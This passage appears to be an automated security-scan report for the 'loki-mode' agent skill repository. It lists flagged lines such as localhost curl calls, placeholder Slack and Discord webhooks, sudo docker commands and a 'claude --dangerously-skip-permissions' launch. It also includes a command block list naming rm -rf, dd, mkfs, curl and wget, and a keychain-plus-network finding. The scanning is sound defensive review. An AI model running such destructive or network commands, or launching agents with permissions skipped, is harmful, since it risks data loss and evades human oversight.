> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 39
# View triggers curl http://localhost:57374/api/notifications/triggers - Network accessline 40
curl http://localhost:57374/api/notifications/triggers - Network accessline 42
# Update triggers curl -X PUT http://localhost:57374/api/notifications/triggers \ - Network accessline 43
curl -X PUT http://localhost:57374/api/notifications/triggers \ - Network accessline 47
# View active notifications curl http://localhost:57374/api/notifications - Network accessline 48
curl http://localhost:57374/api/notifications - Network accessline 50
# Acknowledge a notification curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge - Network accessline 51
curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge - Network accessline 81
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 88
export LOKI_DISCORD_WEBHOOK="https://discord.com/api/webhooks/xxx/yyy" - Network accessline 95
export LOKI_WEBHOOK_URL="https://your-server.com/api/events" - Access to secretsline 96
[Credential-related source omitted] - Network accessline 159
1. Go to [Slack Apps](https://api.slack.com/apps) - Network accessline 187
notifications: enabled: true slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 188
enabled: true slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx" channels: slack - Network accessline 189
slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 226
notifications: enabled: true discord_webhook: "https://discord.com/api/webhooks/xxx/yyy" - Network accessline 227
enabled: true discord_webhook: "https://discord.com/api/webhooks/xxx/yyy" channels: discord - Network accessline 228
discord_webhook: "https://discord.com/api/webhooks/xxx/yyy" - Network accessline 300
enabled: true sound: true slack_webhook: "https://hooks.slack.com/..." - Network accessline 301
sound: true slack_webhook: "https://hooks.slack.com/..." discord_webhook: "https://discord.com/api/webhooks/..." - Network accessline 302
slack_webhook: "https://hooks.slack.com/..." - Network accessline 303
discord_webhook: "https://discord.com/api/webhooks/..." - Network accessline 304
webhook_url: "https://your-server.com/webhook"
wiki/Prometheus-Metrics.md
- Network accessline 16
GET http://localhost:57374/metrics - Network accessline 130
# datadog.yaml - OpenMetrics check instances: - prometheus_url: http://localhost:57374/metrics - Network accessline 131
instances: - prometheus_url: http://localhost:57374/metrics namespace: loki - Network accessline 132
- prometheus_url: http://localhost:57374/metrics - Network accessline 204
# Check dashboard is running on expected port curl http://localhost:57374/health - Network accessline 205
curl http://localhost:57374/health
wiki/Providers.md
- Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 34
| Region | Base URL | |--------|----------| | Global | `https://api.minimax.io/anthropic` | - Network accessline 35
|--------|----------| | Global | `https://api.minimax.io/anthropic` | | China | `https://api.minimaxi.com/anthropic` | - Network accessline 36
| Global | `https://api.minimax.io/anthropic` | - Network accessline 37
| China | `https://api.minimaxi.com/anthropic` | - Network accessline 40
export ANTHROPIC_BASE_URL="https://api.minimax.io/anthropic" - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 56
References: [models](https://platform.minimax.io/docs/guides/models-intro), [API compatibility](https://platform.minimax.io/docs/api-reference/text-anthropic-api). - Instruction override signalline 102
# Launch Claude with autonomous permissions claude --dangerously-skip-permissions - Instruction override signalline 103
claude --dangerously-skip-permissions - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted]
wiki/Sandbox-Mode.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 208
[Credential-related source omitted] - Dangerous shell operationline 287
sudo usermod -aG docker $USER - Dangerous shell operationline 290
sudo loki sandbox start - Access to secretsline 332
[Credential-related source omitted]
wiki/Security.md
- Network accessline 27
| **Memory Leak** | Resource cleanup | Fixed a memory leak in the SSE (Server-Sent Events) endpoint where client disconnections were not properly releasing resources | | **Signal Blocking** | Signal handler hardening | Signal handlers (SIGT - Network accessline 28
| **Signal Blocking** | Signal handler hardening | Signal handlers (SIGTERM, SIGINT) are now properly configured to prevent signal blocking during critical shutdown operations | | **Unrestricted CORS** | Configurable origins | CORS is now c - Network accessline 29
| **Unrestricted CORS** | Configurable origins | CORS is now configurable via the `LOKI_DASHBOARD_CORS` environment variable. Default is localhost-only (`http://localhost:57374,http://127.0.0.1:57374`) | - Network accessline 42
export LOKI_DASHBOARD_CORS="https://dashboard.example.com,https://app.example.com" - Network accessline 45
When not set, the default is `http://localhost:57374,http://127.0.0.1:57374` (localhost-only, secure by default). - Access to secretsline 59
[Credential-related source omitted] - Network accessline 98
[Credential-related source omitted] - Network accessline 99
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Network accessline 130
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Network accessline 131
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 132
LOKI_SLACK_WEBHOOK=https://hooks.slack.com/xxx - Access to secretsline 136
[Credential-related source omitted]
wiki/Troubleshooting.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 218
[Credential-related source omitted] - Access to secretsline 311
[Credential-related source omitted] - Network accessline 455
[Open Issue](https://github.com/asklokesh/loki-mode/issues/new)
wiki/Use-Cases.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 49
# Use the GitHub issue as the spec and start loki issue https://github.com/myorg/myapp/issues/42 --start - Network accessline 50
loki issue https://github.com/myorg/myapp/issues/42 --start - Dangerous shell operationline 286
export LOKI_BLOCKED_COMMANDS="rm -rf,dd,mkfs,curl,wget" - Network accessline 299
# Forward to SIEM curl -X POST https://siem.company.com/api/logs \ - Network accessline 300
[Credential-related source omitted] - Access to secretsline 300
[Credential-related source omitted] - Access to secretsline 301
[Credential-related source omitted] - Network accessline 312
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 327
export LOKI_DISCORD_WEBHOOK="https://discord.com/api/webhooks/xxx/yyy" - Network accessline 336
export LOKI_WEBHOOK_URL="https://monitoring.company.com/api/events"
wiki/_Sidebar.md
- Network accessline 46
[Autonomi](https://www.autonomi.dev/) | [GitHub](https://github.com/asklokesh/loki-mode) | [npm](https://www.npmjs.com/package/loki-mode)
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Combined signals: 1 fact
- Reads the system keychain, and the same file sends data over the network or runs a command (line 303)autonomy/docker-run.sh:47High confidence
Declared and executed: 5 facts
- Contacts deno.land, which SKILL.md, the README and the plugin manifest do not mentionapi/routes/learning.ts:8High confidence
- Contacts deno.land, which SKILL.md, the README and the plugin manifest do not mentionapi/services/learning-collector.ts:11High confidence
- Uses the system keychain, which the skill description does not mentionautonomy/docker-run.sh:47High confidence
- Uses the system keychain, which the skill description does not mentionautonomy/docker-run.sh:74High confidence
- Contacts docs.anthropic.com, which SKILL.md, the README and the plugin manifest do not mentionautonomy/grill.sh:150High confidence
Signal confidence: 494 facts
- Executable script in code of a file that runs.githooks/pre-commit:1High confidence
- Executable script in code of a file that runs.githooks/pre-push:1High confidence
- Dangerous shell operation in code of a file that runs.githooks/pre-push:125High confidence
- Dangerous shell operation in code of a file that runs.githooks/pre-push:243High confidence
- Network access in prose of documentation.github/CODE_OF_CONDUCT.md:45Low confidence
- Network access in prose of documentation.github/CODE_OF_CONDUCT.md:47Low confidence
- Dangerous shell operation in prose of documentation.github/CONTRIBUTING.md:9Low confidence
- Network access in prose of documentation.github/CONTRIBUTING.md:9Low confidence
- Network access in code of documentation.github/CONTRIBUTING.md:19Low confidence
- Network access in prose of documentation.github/CONTRIBUTING.md:119Low confidence
- Executable script in code of a file that runs.github/actions/receipt-check/check.sh:1High confidence
- Network access in prose of documentationCLAUDE.md:1Low confidence
- Network access in prose of documentationCLAUDE.md:2Low confidence
- Instruction override signal in code of documentationCLAUDE.md:7Low confidence
- Dangerous shell operation in code of documentationCLAUDE.md:55Low confidence
- Dangerous shell operation in code of documentationCLAUDE.md:136Low confidence
- Network access in prose of documentationREADME.md:5Low confidence
- Network access in prose of documentationREADME.md:6Low confidence
- Network access in prose of documentationREADME.md:7Low confidence
- Network access in prose of documentationREADME.md:8Low confidence
- Network access in prose of documentationREADME.md:10Low confidence
- Network access in prose of documentationREADME.md:41Low confidence
- Access to secrets in prose of documentationREADME.md:41Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueREADME.md:53Low confidence
- Network access in code of documentationREADME.md:90Low confidence
- Network access in code of documentationREADME.md:91Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueREADME.md:126Low confidence
- Access to secrets in code of documentationREADME.md:130Low confidence
- Network access in code of documentationREADME.md:138Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueREADME.md:151Low confidence
- Network access in code of documentationREADME.md:179Low confidence
- Network access in prose of documentationREADME.md:189Low confidence
- Instruction override signal in code of the SKILL.mdSKILL.md:238Low confidence
- Instruction override signal in code of the SKILL.mdSKILL.md:239Low confidence
- Network access in code of the SKILL.mdSKILL.md:245High confidence
- Network access in code of the SKILL.mdSKILL.md:246High confidence
- Network access in code of the SKILL.mdSKILL.md:247High confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:255Low confidence
- Access to secrets in code of the SKILL.mdSKILL.md:263High confidence
- Access to secrets in prose of the SKILL.mdSKILL.md:276Low confidence
- Network access in prose of the SKILL.mdSKILL.md:464Low confidence
- Executable script in code of a file that runsagents/custom_agents.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueagents/custom_agents.py:27Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueagents/custom_agents.py:31Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueagents/custom_agents.py:34Low confidence
- Executable script in prose of a file that runsagents/hub_install.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueagents/hub_install.py:113Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueagents/hub_install.py:118Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueagents/hub_install.py:418Low confidence
- Network access in code of a file that runsagents/hub_install.py:446High confidence
and 444 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
Explore alternatives and comparisons
Add this badge to your README
It updates every night and links to this page.
[](https://hotskills.dev/skill/asklokesh-loki-mode/)